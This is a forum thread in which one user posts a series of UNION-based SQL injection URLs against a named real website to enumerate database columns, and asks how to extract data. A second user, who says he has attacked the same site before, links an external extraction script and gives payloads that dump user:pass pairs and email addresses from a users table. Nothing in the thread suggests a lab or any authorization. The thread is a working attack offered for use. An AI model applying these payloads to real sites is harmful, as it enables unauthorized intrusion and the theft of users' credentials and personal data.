» SQL help.

[VipVince]

Ok so im practicing simple sql,my string now looks like

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 0,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 1,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 2,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 3,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 4,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 5,1

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 6,1

As you all know this is me basically just looking for a useful column name like admin,the string

http://www.michaelpollan.com/article.php?id=-80 union all select 1,column_name,3,4,5,6,7,8,9,10 from information_schema.columns+limit 6,1

Finds me a column called ID,now i just would like to know how to i extract data from the ID column?thanks in advance.

[Zero Cold]

tbh there is not on this site as i have played with this before

this may help you get what you want tho

http://darkc0de.com/misc/dataext.py

Example of usage:
www.site.com/news.php?id=-1+union+select+1,concat_ws(char(58),user,pass),3+f rom+users+limit+NUM,1

www.site.com/news.php?id=-1+union+select+1,concat(char(58),email),3+from+use rs+limit+NUM,1